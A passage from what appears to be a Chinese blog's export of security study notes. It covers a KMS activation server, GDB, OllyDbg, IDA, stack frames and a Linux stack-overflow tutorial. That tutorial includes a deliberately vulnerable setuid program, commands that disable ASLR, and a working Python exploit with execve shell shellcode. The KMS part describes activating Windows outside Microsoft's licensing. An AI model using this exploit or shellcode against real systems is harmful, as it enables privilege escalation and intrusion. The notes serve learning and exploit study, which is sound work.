<content type="text"><![CDATA[前言 碍于windows激活工具存在后门的情况,搭建一个kms服务器的方法倒是不错,也是朋友推荐的。然后网上搜索了一下。KMS(Key Management Service) .这个功能是在windows Vista中的Enterprise版本和Windows Server 2008中首次出现的一种新型产品激活机制,目的是为了Microsoft更好的“反盗版”。摘自百度 github上开源了一个kms服务器的源码,link想深入研究原理的可以分析一下源码。安装和使用 一般安装在linux服务上,我的是安装在ubuntu服务器上的,安装脚本如下https://raw.githubusercontent.com/Wind4/vlmcsd/211e463ddd71f5df884080ce98d0fc5eb369b51f/scripts/install.sh 安装完成后 vlmcsd -h 看一下所支持的命令kms 默认的端口是1688,当然也可以自定义端口,参数是 -P 这个时候可以参考说明进行激活了,注意:自定义了端口的需要在host后面加上自定义的端口https://github.com/Wind4/vlmcsd/tree/211e463ddd71f5df884080ce98d0fc5eb369b51fhttps://wwww.lvmoo.com/archives/517.html 注 windows7 ultimate 旗舰版 没有对应的KMS Client Setup Key,建议安全windows7 professional 专业版 网上已有现成的自动生成bat的工具KMS激活Windows一键脚本]]></content>
<categories>
<category>其它</category>
</categories>
</entry>
<entry>
<title><![CDATA[linux调试工具GDB入门]]></title>
<url>%2F2017%2F08%2F24%2Flinux%E8%B0%83%E8%AF%95%E5%B7%A5%E5%85%B7GDB%E5%85%A5%E9%97%A8%2F</url>
<content type="text"><![CDATA[简介gdb可以用在代码调试和反汇编代码的调试 常用命令调用gdb编译需要在cc后面加 -g参数再加-o;[root@redhat home]#gdb 调试文件:启动gdb(gdb) l :(字母l)从第一行开始列出源码(gdb) break n :在第n行处设置断点(gdb) break func:在函数func()的入口处设置断点(gdb) info break: 查看断点信息(gdb) r:运行程序(gdb) n:单步执行(gdb) c:继续运行(gdb) p 变量 :打印变量的值(gdb) bt:查看函数堆栈(gdb) finish:退出函数(gdb) shell 命令行:执行shell命令行(gdb) set args 参数:指定运行时的参数(gdb) show args:查看设置好的参数(gdb) show paths:查看程序运行路径; set environment varname [=value] 设置环境变量。如:set env USER=hchen; show environment [varname] 查看环境变量;(gdb) cd 相当于shell的cd;(gdb)pwd :显示当前所在目录(gdb)info program: 来查看程序的是否在运行,进程号,被暂停的原因。(gdb)clear 行号n:清除第n行的断点(gdb)delete 断点号n:删除第n个断点(gdb)disable 断点号n:暂停第n个断点(gdb)enable 断点号n:开启第n个断点(gdb)step:单步调试如果有函数调用,则进入函数;与命令n不同,n是不进入调用的函数的 list :简记为 l ,其作用就是列出程序的源代码,默认每次显示10行。list 行号:将显示当前文件以“行号”为中心的前后10行代码,如:list 12list 函数名:将显示“函数名”所在函数的源代码,如:list mainlist :不带参数,将接着上一次 list 命令的,输出下边的内容。注意 :如果运行list 命令得到类似如下的打印,那是因为在编译程序时没有加入 -g 选项:(gdb) list1 ../sysdeps/i386/elf/start.S: No such file or directory. in ../sysdeps/i386/elf/start.S run:简记为 r ,其作用是运行程序,当遇到断点后,程序会在断点处停止运行,等待用户输入下一步的命令。回车:重复上一条命令。set args:设置运行程序时的命令行参数,如:set args 33 55show args:显示命令行参数continue:简讯为 c ,其作用是继续运行被断点中断的程序。break:为程序设置断点。break 行号:在当前文件的“行号”处设置断点,如:break 33break 函数名:在用户定义的函数“函数名”处设置断点,如:break cb_buttoninfo breakpoints:显示当前程序的断点设置情况disable breakpoints Num:关闭断点“Num”,使其无效,其中“Num”为 info breakpoints 中显示的对应值enable breakpoints Num:打开断点“Num”,使其重新生效step:简记为 s ,单步跟踪程序,当遇到函数调用时,则进入此函数体(一般只进入用户自定义函数)。next:简记为 n,单步跟踪程序,当遇到函数调用时,也不进入此函数体;此命令同 step 的主要区别是,step 遇到用户自定义的函数,将步进到函数中去运行,而 next 则直接调用函数,不会进入到函数体内。until:当你厌倦了在一个循环体内单步跟踪时,这个命令可以运行程序直到退出循环体。finish: 运行程序,直到当前函数完成返回,并打印函数返回时的堆栈地址和返回值及参数值等信息。stepi或nexti:单步跟踪一些机器指令。print 表达式:简记为 p ,其中“表达式”可以是任何当前正在被测试程序的有效表达式,比如当前正在调试C语言的程序,那么“表达式”可以是任何C语言的有效表达式,包括数字,变量甚至是函数调用。print a:将显示整数 a 的值print ++a:将把 a 中的值加1,并显示出来print name:将显示字符串 name 的值print gdb_test(22):将以整数22作为参数调用 gdb_test() 函数print gdb_test(a):将以变量 a 作为参数调用 gdb_test() 函数bt:显示当前程序的函数调用堆栈。display 表达式:在单步运行时将非常有用,使用display命令设置一个表达式后,它将在每次单步进行指令后,紧接着输出被设置的表达式及值。如: display awatch 表达式:设置一个监视点,一旦被监视的“表达式”的值改变,gdb将强行终止正在被调试的程序。如: watch akill:将强行终止当前正在调试的程序help 命令:help 命令将显示“命令”的常用帮助信息call 函数(参数):调用“函数”,并传递“参数”,如:call gdb_test(55)layout:用于分割窗口,可以一边查看代码,一边测试:layout src:显示源代码窗口layout asm:显示反汇编窗口layout regs:显示源代码/反汇编和CPU寄存器窗口layout split:显示源代码和反汇编窗口Ctrl + L:刷新窗口quit:简记为 q ,退出gdb 内存地址查看 可以使用 examine 命令(简写是 x)来查看内存地址中的值。x 命令的语法如下所示: 1x/<n/f/u> <addr> n、f、u 是可选的参数。 n 是一个正整数,表示显示内存的长度,也就是说从当前地址向后显示几个地址的内容。 f 表示显示的格式,参见上面。如果地址所指的是字符串,那么格式可以是 s,如果地十是指令地址, 那么格式可以是 i。 u 表示从当前地址往后请求的字节数,如果不指定的话,GDB 默认是 4 个 bytes。u 参数可以用下 面的字符来代替,b 表示单字节,h 表示双字节,w 表示四字节,g 表示八字节。当我们指定了字节长度后, GDB 会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。 表示一个内存地址。 n/f/u三个参数可以一起使用。例如:x/4xb address显示4个单元,16进制,一个单元一个字节,x/20xw 表示address处开始显示20个单元,16进制,4字节每单元 (也就是一个int),x/40gx 0x601060 显示0x601060处开始40个8字节的十六进制,x/20i 0x601060 查看这个地址往下的0x20个指令,另外还可以 stack 0x20 显示stack 上的0x20个数据 常用的组合例如 x/100xh 第一个x代表examine 第二个x代表hexadecimal,h代表半个word即两个字节 代码调试首先我们使用gcc -g命令对代码进行编译 generates debug information to be used by GDB debugger. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475xxx@ubuntu:~/Desktop/test1$ cat command.c#include <stdio.h>int main(int argc,char *argv[]){int i;for (i=0;i<argc;i++) printf("argv[%d]:%s \n",i,argv[i]);return 0;}xxx@ubuntu:~/Desktop/test1$ gcc -g command.c -o commandxxx@ubuntu:~/Desktop/test1$ gdb -q ./commandReading symbols from ./command...done.gdb-peda$ l1 #include <stdio.h>2 int main(int argc,char *argv[])3 {4 int i;5 for (i=0;i<argc;i++)6 printf("argv[%d]:%s \n",i,argv[i]);7 return 0;8 }gdb-peda$ b 6Breakpoint 1 at 0x400545: file command.c, line 6.gdb-peda$ run param1 param2 param3Starting program: /home/xxx/Desktop/test1/command param1 param2 param3[----------------------------------registers-----------------------------------]RAX: 0x0 RBX: 0x0 RCX: 0x0 RDX: 0x7fffffffe010 --> 0x7fffffffe390 ("XDG_VTNR=7")RSI: 0x7fffffffdfe8 --> 0x7fffffffe35b ("/home/xxx/Desktop/test1/command")RDI: 0x4 RBP: 0x7fffffffdf00 --> 0x0 RSP: 0x7fffffffdee0 --> 0x7fffffffdfe8 --> 0x7fffffffe35b ("/home/xxx/Desktop/test1/command")RIP: 0x400545 (<main+24>: mov eax,DWORD PTR [rbp-0x4])R8 : 0x7ffff7dd4e80 --> 0x0 R9 : 0x7ffff7dea700 (<_dl_fini>: push rbp)R10: 0x7fffffffdd90 --> 0x0 R11: 0x7ffff7a32e50 (<__libc_start_main>: push r14)R12: 0x400440 (<_start>: xor ebp,ebp)R13: 0x7fffffffdfe0 --> 0x4 R14: 0x0 R15: 0x0EFLAGS: 0x297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x400538 <main+11>: mov QWORD PTR [rbp-0x20],rsi 0x40053c <main+15>: mov DWORD PTR [rbp-0x4],0x0 0x400543 <main+22>: jmp 0x400574 <main+71>=> 0x400545 <main+24>: mov eax,DWORD PTR [rbp-0x4] 0x400548 <main+27>: cdqe 0x40054a <main+29>: lea rdx,[rax*8+0x0] 0x400552 <main+37>: mov rax,QWORD PTR [rbp-0x20] 0x400556 <main+41>: add rax,rdx[------------------------------------stack-------------------------------------]0000| 0x7fffffffdee0 --> 0x7fffffffdfe8 --> 0x7fffffffe35b ("/home/xxx/Desktop/test1/command")0008| 0x7fffffffdee8 --> 0x400400440 0016| 0x7fffffffdef0 --> 0x7fffffffdfe0 --> 0x4 0024| 0x7fffffffdef8 --> 0x0 0032| 0x7fffffffdf00 --> 0x0 0040| 0x7fffffffdf08 --> 0x7ffff7a32f45 (<__libc_start_main+245>: mov edi,eax)0048| 0x7fffffffdf10 --> 0x0 0056| 0x7fffffffdf18 --> 0x7fffffffdfe8 --> 0x7fffffffe35b ("/home/xxx/Desktop/test1/command")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueBreakpoint 1, main (argc=0x4, argv=0x7fffffffdfe8) at command.c:66 printf("argv[%d]:%s \n",i,argv[i]);gdb-peda$ p i$1 = 0x0gdb-peda$ p argv$2 = (char **) 0x7fffffffdfe8gdb-peda$ p argc$3 = 0x4gdb-peda$ 不定期更新 查看eip的address,可以使用info frame命令 12345678gdb-peda$ info frameStack level 0, frame at 0xbfffeeb4: eip = 0x42424242; saved eip = 0x0 called by frame at 0xbfffeeb8 Arglist at 0xbfffeeac, args: Locals at 0xbfffeeac, Previous frame's sp is 0xbfffeeb4 Saved registers: eip at 0xbfffeeb0 查看程序存在的函数 info func Reference linux 调试工具 GDB 使用教程http://bbs.pediy.com/thread-77746.htm Quick Intro to gdbhttps://www.youtube.com/watch?v=xQ0ONbt-qPs]]></content>
</entry>
<entry>
<title><![CDATA[window逆向基础]]></title>
<url>%2F2017%2F08%2F24%2Fwindow%E9%80%86%E5%90%91%E5%9F%BA%E7%A1%80%2F</url>
<content type="text"><![CDATA[常见汇编指令助记JG / JNLE:Jump when Greater / Jump when Not Less or EqualJL / JNGE:Jump when Less / Jump when Not Greater or EqualJGE / JNL:Jump when Greater or Equal / Jump when Not LessJLE / JNG:Jump when Less or Equal / Jump when Not GreaterJE / JZ:Jump when Less / Jump when Zero 字节序windows操作系统兼容的CPU为小端(内存高位地址存放数据高位字节数据)方式,而UNIX操作系统所兼容的CPU大多为大端(内存高位地址存放数据低位字节数据)方式。此外,还有一个网络字节序,是指网络传输相关协议所规定的字节传输顺序,TCP/IP协议所使用的字节序为大端方式。 大端模式,是指数据的高字节保存在内存的低地址中,而数据的低字节保存在内存的高地址中,这样的存储模式有点儿类似于把数据 当作字符串顺序处理:地址由小向大增加,而数据从高位往低位放; 这和我们的阅读 习惯一致 小端模式,是指数据的高字节保存在内存的高地址中,而数据的低字节保存在内存的低地址中,这种存储模式将地址的高低和数据位权有效 地结合起来,高地址部分权值高,低地址部分权值低1230000430: e684 6c4e 0100 1800 53ef 0100 0100 0000 0000440: b484 6c4e 004e ed00 0000 0000 0100 0000 在大端模式下,前32位应该这样读: e6 84 6c 4e ( 假设int占4个字节) 在小端 模式下,前32位应该这样读: 4e 6c 84 b4 ( 假设int占4个字节) 高级语言和低级语言 如上图所示,很好展示了低级语言、高级语言和机器码之间的联系windows内存布局 和linux内存布局类似,windows的内存布局如下X86汇编基础-栈pe结构 Reference API 函数 -- API 绝密档案系列之一http://bbs.pediy.com/user-22319-1.htm Win32环境下函数调用的堆栈之研究http://bbs.pediy.com/thread-69909.htm 汇编的学习http://bbs.pediy.com/user-90551-1-1.htmhttp://bbs.pediy.com/user-202613-0-1.htm window线程http://bbs.pediy.com/thread-77556.htm C++类虚函数逆向学习总结http://bbs.pediy.com/thread-60538.htm MFC逆向初级研究http://bbs.pediy.com/thread-41087.htm 驱动安全http://blog.csdn.net/zuishikonghuan/]]></content>
</entry>
<entry>
<title><![CDATA[栈帧]]></title>
<url>%2F2017%2F08%2F23%2F%E6%A0%88%E5%B8%A7%2F</url>
<content type="text"><![CDATA[TL;DR 栈帧 stack frame前言 主要通过od来跟踪调试一下,理解一下windows栈的调用情况。环境及代码环境win7 32位+vc6.012345678910111213141516#include "stdio.h"long add(long a, long b){ long x = a, y = b; return (x + y);}int main(int argc, char* argv[]){ long a = 1, b = 2; printf("%d\n", add(a, b)); return 0;} 过程在这之前,首先找到main函数,并加上一定的注释以及对应的断点。1.首先是进入main函数之前,我们查看一下ebp的值是0012ff88,esp是0012ff50,注意此时下一条指令的地址是00401279,如下图2.这个时候f7进入main函数,这个时候esp变成0012ff4c即减小了4,ebp不变3.然后有一个跳转到push ebp,所以执行这个代码时候,ebp的值会入栈,esp的值加4,变成00112ff484.f8执行 mov ebp,esp命令,这个时候ebp的值发生变化,变成和esp一样的值都是0012ff485.f8执行 sub esp,48 扩展栈空间,esp减小48h个长度,ebp保持不变6.f8 然后就是将ebx,esi,edi等入栈的操作等。。。7.函数的返回要注意清场,栈顶和栈底是一样的都是0012ff488.f8执行pop ebp,这个时候是将栈顶中的值0012ff88放到ebp中,那么ebp的值发生变化成为0012ff88,执行pop操作,esp+4 为0012ff4c9.f8 执行retn指令,esp发生变化+4变为0012ff50,ebp的值为0012ff88,eip指向00401279,即call main函数的下一条指令执行 总结 main函数的过程中,进入之前栈底指针ebp是0012ff88,栈顶指针是0012ff50,结束函数之后,没有发生变化,即栈维持这平衡。reference 漏洞挖掘基础之格式化字符串http://drops.xmd5.com/static/drops/papers-9426.html]]></content>
</entry>
<entry>
<title><![CDATA[OllyDbg使用入门]]></title>
<url>%2F2017%2F08%2F22%2FOllyDbg%E4%BD%BF%E7%94%A8%E5%85%A5%E9%97%A8%2F</url>
<content type="text"><![CDATA[TL;DR ollydbg有官方的下载的版本,也有其它修改版,其中我们最常用的是吾爱破解版本的od,其插件较多,较为方便。后面的介绍也是基本以吾爱破解的版本为主。常用快捷键 f8单步步过 f7单步步入 f9运行,执行到下个断点 f2下断点 ctrl + g 跳转到指定地址 ctrl+f9执行到返回,遇到断点会停下一些常用的操作 可通过双击汇编窗口注释区或者右键给汇编代码添加注释,方便自己后续阅读,这里有一个小技巧,可以通过ida的静态分析方法进行静态分析加注释小技巧 主视图切换 有时候在调试的时候,一直在循环里,如果想要跳出循环,这个时候鼠标点到下一个命令的执行处,f4即可,即运行到当前代码处 在用vs较高版本编译程序测试溢出等的时候注意要关闭保护功能(如常见的dep以及aslr),在项目菜单的属性里面设置 在跟踪调试的时候,我们关注的是每步执行过后寄存器的变化情况,这个时候观察寄存器的窗口,红色的表示是发生了变化的数据。 在进行动态分析的时候,最好完整的分析一个栈的出入过程,加上注释之后,对代码分析有好处 刚开始调试的时候,容易跑飞,这个时候注意观察左上角的提示框,回显示你的module,不要进去了什么kernel模块 注意由于基本上我们使用的系统上数据或者代码都是小端存储的,所以在看反汇编代码的时候看到机器码的时候,一定要倒过来看 通过菜单中的查看内存map,整个可执行文件结构在内存中的地址映射此外还有L可以查看log data信息,E查看可执行模块,B查看断点信息。 在vc6编译的程序中,函数返回之前会有一句call _checkesp,这里会有一个checkesp函数的调用,来检查栈是否平衡,如果不平衡会出现如下的错误,我在这里做一个测试,在return语句之前加一条内联汇编push ebx,这样就破坏了栈平衡如下图所示 vc中函数的调用方式是cdecl,这种函数调用约定对参数的传递依靠栈内存,在调用函数前,将通过压栈操作将参数从右至左依次送入栈中,当函数返回的时候,需要将参数使用的空间回收,这里的回收指的是恢复esp寄存器的值到函数调用前的值,对于cdecl调用方式而言,平衡堆栈的操作是由函数调用方来做的,在这里也就是要由main()函数来做的,可以看到反汇编代码add esp,8就是用来平衡栈的。主要用于平衡上面的两个push操作。 函数返回值通常保存在eax寄存器中,在c语言中,main()函数的返回值为0,即return0,因此xor eax,eax 就是对eax进行了清零操作。 windows系统下,对API函数的调用遵循约定是stdcall,对于stdcall而言,参数依然是从右向左依次入栈,而参数的平栈则是在api函数内部完成的,而不是在函数调用时候完成的。上图中可以看到在调用MessageBox()的时候,在retn指令后面加了一个10,10这里是十六进制,也就是十进制中的16,我们在为MessageBoxA传递参数的时候,每个参数是4字节,4*4=16个字节,因此retn 16除了有返回的作用外,还包含了add esp,10的作用。other 在看雪上有人翻译了国外人写的<使用ollydbg从零开始cracking>,还是挺详细的介绍了od的使用,推荐阅读和动手跟一遍。https://bbs.pediy.com/thread-184679.htmReference OllyDbg 入门系列http://bbs.pediy.com/user-24467-3-1.htm 拿几个ctf的简单题目练习一下https://github.com/lcatro/SISE_Traning_CTF_RE]]></content>
</entry>
<entry>
<title><![CDATA[windbg使用]]></title>
<url>%2F2017%2F08%2F21%2Fwindbg%E4%BD%BF%E7%94%A8%2F</url>
<content type="text"><![CDATA[ReferenceWinDbg学习笔记(一)–认识WinDbg从Ollydbg说起—–WinDbg用户态调试教程Windbg基本调试技术Windows 调试器 WinDBG 和 KD 学习系列 PPT(https://www.youtube.com/watch?v=8zBpqc3HkSE&list=PLhx7-txsG6t6n_E2LgDGqgvJtCHPL7UFu)(https://www.youtube.com/user/TheSourceLens)(https://www.youtube.com/user/TheSourceLens)]]></content>
</entry>
<entry>
<title><![CDATA[IDA使用]]></title>
<url>%2F2017%2F08%2F18%2FIDA%E4%BD%BF%E7%94%A8%2F</url>
<content type="text"><![CDATA[前言 先说说反汇编软件IDA原理,反汇编软件去识别二进制文件格式,比如文件的格式是PE,那么它会利用其针对PE的内置“规则“(当然还有一些其它格式的文件比如ELF)对该二进制文件进行分析,最终将其转换为“好看”一点儿,方便人们阅读的格式(其中包括视图展现形式、伪c代码、汇编代码等),其本身并不会像ollydbg去加载程序执行。(当然IDA也能动态调试) IDA(Interactive Disassembler Professional)交互式反汇编专业版,是一款目前最棒的静态反编译软件,可以用来分析pe、elf等格式程序。 较od的动态分析IDA提供了F5键(F5功能是一个插件)查看伪代码的功能,使用非常方便,在ctf的reverse题目中应用很多。常见操作在介绍常见操作之前,先来看一下用ida加载一个文件的时候,默认的展示窗口有哪些注意在反汇编代码的窗口可以输入空格切换到Graphic View,可以更清楚的看清流程 跳转到指定内存地址 快捷键G,可以调到相应的地址 寻找关键特征字符串,打开字符串参考窗口 shift+f12 ,类似于od中plugins中的中文搜索引擎中的智能搜索功能 函数的收缩和展开功能 在vc6中main()不是程序运行的第一个函数,而是程序员编写程序的第一个函数,main()函数是由启动函数来调用的,vc6中入口点是_mainCRTStartup()函数,如下图所示双击即可到达这个函数的位置,1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859.text:00401130 push ebp.text:00401131 mov ebp, esp.text:00401133 push 0FFFFFFFFh.text:00401135 push offset stru_422130.text:0040113A push offset __except_handler3.text:0040113F mov eax, large fs:0.text:00401145 push eax.text:00401146 mov large fs:0, esp.text:0040114D add esp, 0FFFFFFF0h.text:00401150 push ebx.text:00401151 push esi.text:00401152 push edi.text:00401153 mov [ebp+ms_exc.old_esp], esp.text:00401156 call ds:__imp__GetVersion@0 ; GetVersion().text:0040115C mov __osver, eax.text:00401161 mov eax, __osver.text:00401166 shr eax, 8.text:00401169 and eax, 0FFh.text:0040116E mov __winminor, eax.text:00401173 mov ecx, __osver.text:00401179 and ecx, 0FFh.text:0040117F mov __winmajor, ecx.text:00401185 mov edx, __winmajor.text:0040118B shl edx, 8.text:0040118E add edx, __winminor.text:00401194 mov __winver, edx.text:0040119A mov eax, __osver.text:0040119F shr eax, 10h.text:004011A2 and eax, 0FFFFh.text:004011A7 mov __osver, eax.text:004011AC push 0.text:004011AE call __heap_init.text:004011B3 add esp, 4.text:004011B6 test eax, eax.text:004011B8 jnz short loc_4011C4.text:004011BA push 1Ch.text:004011BC call fast_error_exit.text:004011C1 ; ---------------------------------------------------------------------------.text:004011C1 add esp, 4.text:004011C4.text:004011C4 loc_4011C4: ; CODE XREF: _mainCRTStartup+88j.text:004011C4 mov [ebp+ms_exc.registration.TryLevel], 0.text:004011CB call __ioinit.text:004011D0 call ds:__imp__GetCommandLineA@0 ; GetCommandLineA().text:004011D6 mov __acmdln, eax.text:004011DB call ___crtGetEnvironmentStringsA.text:004011E0 mov __aenvptr, eax.text:004011E5 call __setargv.text:004011EA call __setenvp.text:004011EF call __cinit.text:004011F4 mov ecx, __environ.text:004011FA mov ___initenv, ecx.text:00401200 mov edx, __environ.text:00401206 push edx ; envp.text:00401207 mov eax, ___argv.text:0040120C push eax ; argv.text:0040120D mov ecx, ___argc.text:00401213 push ecx ; argc.text:00401214 call _main_0 如上所示,是进入这个函数后的汇编代码,可以看到main函数在00401214位置处,启动函数从00401130地址处开始,期间调用了GetVersion()函数获得了系统版本号,调用__heap_init函数初始化了程序所使用的堆空间,调用了GetCommandLineA()函数获取了命令行参数,调用_crtGetEnvironmentStringsA()获取了环境变量字符串,在完成一系列启动所需的工作之后,终于在00401214处调用了main()函数。 在调用printf时候的指令为call printf,而调用像是MessageBoxA时候的指令是call ds:impMessageBoxA@16 ; MessageBoxA(x,x,x,x),printf函数在stdio.h头文件中,该函数是c语言的静态库,在链接的时候会将其代码接入到二进制文件中(静态包含),而MessageBoxA的函数实现是在user32.dll这个动态链接库中,在代码中,这里只是留了进入MessageBoxA函数的一个地址,并没有具体的代码,MessageBoxA的具体地址存放在数据节区中,因此在反汇编代码中给出了提示,使用了前缀”ds”,imp表示导入函数,@16表示16个字节,16/4即函数又4个参数。注意 在od中汇编代码是这样call dword ptr ds:[<&USER32.MessageBoxA>],感觉没有ida的友好。 switch case default结构的特征 名称与命名在进行样本分析时,ID A识别出来的函数名都是sub_xxxxxx,这种命名方式不适合我们阅读和分析,在我们进行分析后,知道函数或者变量的意义,那么我们可以对其进行重命名。方法是鼠标点击函数名或者变量,然后按下键盘上的N键,在弹出的窗口中写入新的名字即可。 交叉引用IDA提供了大量显示和访问交叉引用数据的机制,它以更加直观的方式显示代码和数据之间的关系。在IDA中有两种交叉引用,一种是代码交叉引用,一种是数据交叉引用。如下就是一个代码交叉引用在图中可以知道被引用者是?test@@YAXXZ,_main+18是引用者,向下的键条表示引用者的地址要比?test@@YAXXZ的地址高,上行反之。还有其后面的P表示由函数调用导致的交叉引用使用后缀↓p(看做是Procedure)。而跳转交叉引用使用后缀↑j(看做是Jump)。此外还有数据的交叉引用又分为数据读取交叉引用、数据写入交叉引用、数据偏移量交叉引用。 快捷键R 将数字串转换为char字符串 IDA是一款非常复杂且非常非常强大,更多见《IDA Pro权威指南》Objdump工具 objdump也是一款反汇编工具,用于将二进制文件反汇编成汇编语言,不同于ida的图形界面,objdump是命令行的,但是一般的反汇编功能是有的也是比较常用的。比如 objdump -d binaryfile -M interl 按照intel语法进行反汇编,objdump -R binaryfile 显示程序一些动态链接函数的入口地址。readelf工具 与objdump类似,显示elf格式的目标文件信息,-S 显示每节头信息ReferenceIDA简易教程《IDA Pro权威指南》入门笔记IDA-XREF(交叉引用)概述]]></content>
</entry>
<entry>
<title><![CDATA[linux栈溢出学习笔记]]></title>
<url>%2F2017%2F08%2F16%2Flinux%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2F</url>
<content type="text"><![CDATA[gdb使用gdb GNU Project Debugger在linux下面调试程序必然会用到gdb,当然还有gdb的一个插件也是必须,那就是pedapeda增强了gdb的功能,在调试过程中会显示反汇编的代码、寄存器、内存信息等 aslr – 显示和设置GDB的aslr checksec – 显示多种安全机制的开关 dumpargs – 当停到一个call 指令的时候,显示传递给函数的参数 dumpprop – dump所有ROP gadgets 在一定的内存范围内 elfheader – 获取被调试的ELF文件的头信息 lefsymbol –获取非调试状态下的 符号信息 lookup – 在一定地址范围内查找所有的地址以及引用 patch – Patch memory start at an address with string/hexstring/int pattern – Generate, search, or write a cyclic pattern to memory procinfo – 从/proc/pid/显示不同的信息 pshow – 显示peda的选项以及其它的设置 pset – 设置peda的选项以及其它的设置 readelf 获取ELF文件的头部信息 ropgadget – Get common ROP gadgets of binary or library ropsearch – Search for ROP gadgets in memory searchmem|find – Search for a pattern in memory; support regex search shellcode – Generate or download common shellcodes. skeleton – Generate python exploit code template vmmap – Get virtual mapping address ranges of section(s) in debugged process xormem – XOR a memory region with a key 在gdb中,常用的就是如下的命令attach 附加某个进程进行调试run 运行程序 ,会在断点处停下来break或者b xxx ,下断点next 类似于od中的单步步过step 类似于od中的单步步入 简介什么是缓冲区溢出 拷贝源buffer到目的buffer可以导致溢出漏洞,需要满足两个条件 1.源的string长度超过目的string的长度 2.没有对拷贝的长度做检查两种缓冲区溢出 1.栈溢出-目的缓冲区是在栈中 2.堆溢出-目的缓冲区是在堆中 下面这张图展示了linux中内存的分块情况。后果 缓冲区溢出可以导致任意代码执行 示例1.漏洞示例代码12345678910//vuln.c#include <stdio.h>#include <string.h>int main(int argc, char* argv[]) { /* [1] */ char buf[256]; /* [2] */ strcpy(buf,argv[1]); /* [3] */ printf("Input:%s\n",buf); return 0;} 注:本次测试的是在ubuntu14.04的X86上做的测试。 在编译之前我们首先要关闭系统的ASLR 方法是 12sudo -secho 0 > /proc/sys/kernel/randomize_va_space 编译 1234$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c //这里编译选项是关闭DEP和stack protector$sudo chown root vuln$sudo chgrp root vuln$sudo chmod +s vuln 2.如何利用 任意代码执行使用的技术叫做“覆盖返回地址”,就是攻击者覆盖掉栈中的“返回地址”从而让指令寄存器转向去执行我们构造好的恶意代码。 在看漏洞的利用代码之前,为了更好的理解,让我们来看一下这段有漏洞的代码的反汇编代码。1234567891011121314151617181920212223242526Dump of assembler code for function main: //Function Prologue 0x08048414 <+0>: push ebp //备份调用者的ebp 0x08048415 <+1>: mov esp,ebp //设置esp和ebp相同 0x08048417 <+3>: and 0xfffffff0,esp //栈对齐 0x0804841a <+6>: sub 0x110,esp //开辟栈空间 0x08048420 <+12>: mov 0xc(ebp),eax //eax = argv 0x08048423 <+15>: add $0x4,eax //eax = &argv[1] 0x08048426 <+18>: mov (eax),eax //eax = argv[1] 0x08048428 <+20>: mov eax,0x4(esp) //拷贝arg2 0x0804842c <+24>: lea 0x10(esp),eax //eax = 'buf' 0x08048430 <+28>: mov eax,(esp) //拷贝 arg1 0x08048433 <+31>: call 0x8048330 <strcpy@plt> //调用 strcpy 0x08048438 <+36>: mov $0x8048530,eax //eax = format str "Input: s\n" 0x0804843d <+41>: lea 0x10(esp), edx //edx = buf 0x08048441 <+45>: mov edx,0x4(esp) //printf arg2 0x08048445 <+49>: mov eax,(esp) //printf arg1 0x08048448 <+52>: call 0x8048320 <printf@plt> //调用 printf 0x0804844d <+57>: mov $0x0,eax //return value 0 //收尾函数 0x08048452 <+62>: leave //mov ebp, esp; pop ebp; 0x08048453 <+63>: ret //returnEnd of assembler dump.(gdb) 3.测试步骤 1.是否可以覆盖返回地址 可以看到当我们输出300个A的时候,程序EIP的指向了地址0x41414141(即我们用AAAA覆盖掉了返回地址) 2.目标buffer的偏移怎么计算 就是覆盖掉的地址换成我们恶意代码的入口地址怎么计算,他是0x10c=0x100(就是那256个字节)+0x8(对齐)+0x4(call ebp指令长度) 因此当我们输入“A”268+“B”4的时候,就会依次覆盖掉buf、对齐、以及call ebp,即返回地址就是“BBBB”正如我们所想!如上我们就控制了返回地址,且这个地址就在0xbfffeeb0这个地址上存放着。 3.编写测试代码 123456789101112131415161718192021#!/usr/bin/env pythonimport structfrom subprocess import call#Stack address where shellcode is copied.ret_addr = 0xbfffeeb0 #Spawn a shell#execve(/bin/sh)scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"#endianess convertiondef conv(num): return struct.pack("<I",num)buf = "A" * 268buf += conv(ret_addr)buf += "\x90" * 100buf += scodeprint "Calling vulnerable program"call(["./vuln", buf]) 4.结果截图 1./vuln `python -c "print 'A'*268+'\x80\xee\xff\xbf'+'\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'"` 小结 这里为了测试了简单的缓冲区溢出的基本原理我们关掉了一些防护比如内存地址随机化aslr以及DEP,后面有时间再学习和分享一下绕过这些防护的方法。ReferenceClassic Stack Based Buffer Overflow[How to exploit a buffer overflow vulnerability - Practical](https://www.youtube.com/watch?v=hJ8IwyhqzD4)Buffer Overflow Attack - ComputerphileKali Linux 2016.1 - Buffer Overflow TutorialLinux gdb调试器用法全面解析一步一步学ROP之linux_x86篇linux溢出练习Nebula Shell ExploitsLinux (x86) Exploit Development SeriesDEF CON CTF Quals 2015: r0pbaby聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOTHow to exploit a buffer overflow vulnerability - Practical]]></content>
</entry>
<entry>
<title><![CDATA[windows栈溢出入门]]></title>
<url>%2F2017%2F08%2F02%2Fwindows%E6%A0%88%E6%BA%A2%E5%87%BA%E5%85%A5%E9%97%A8%2F</url>
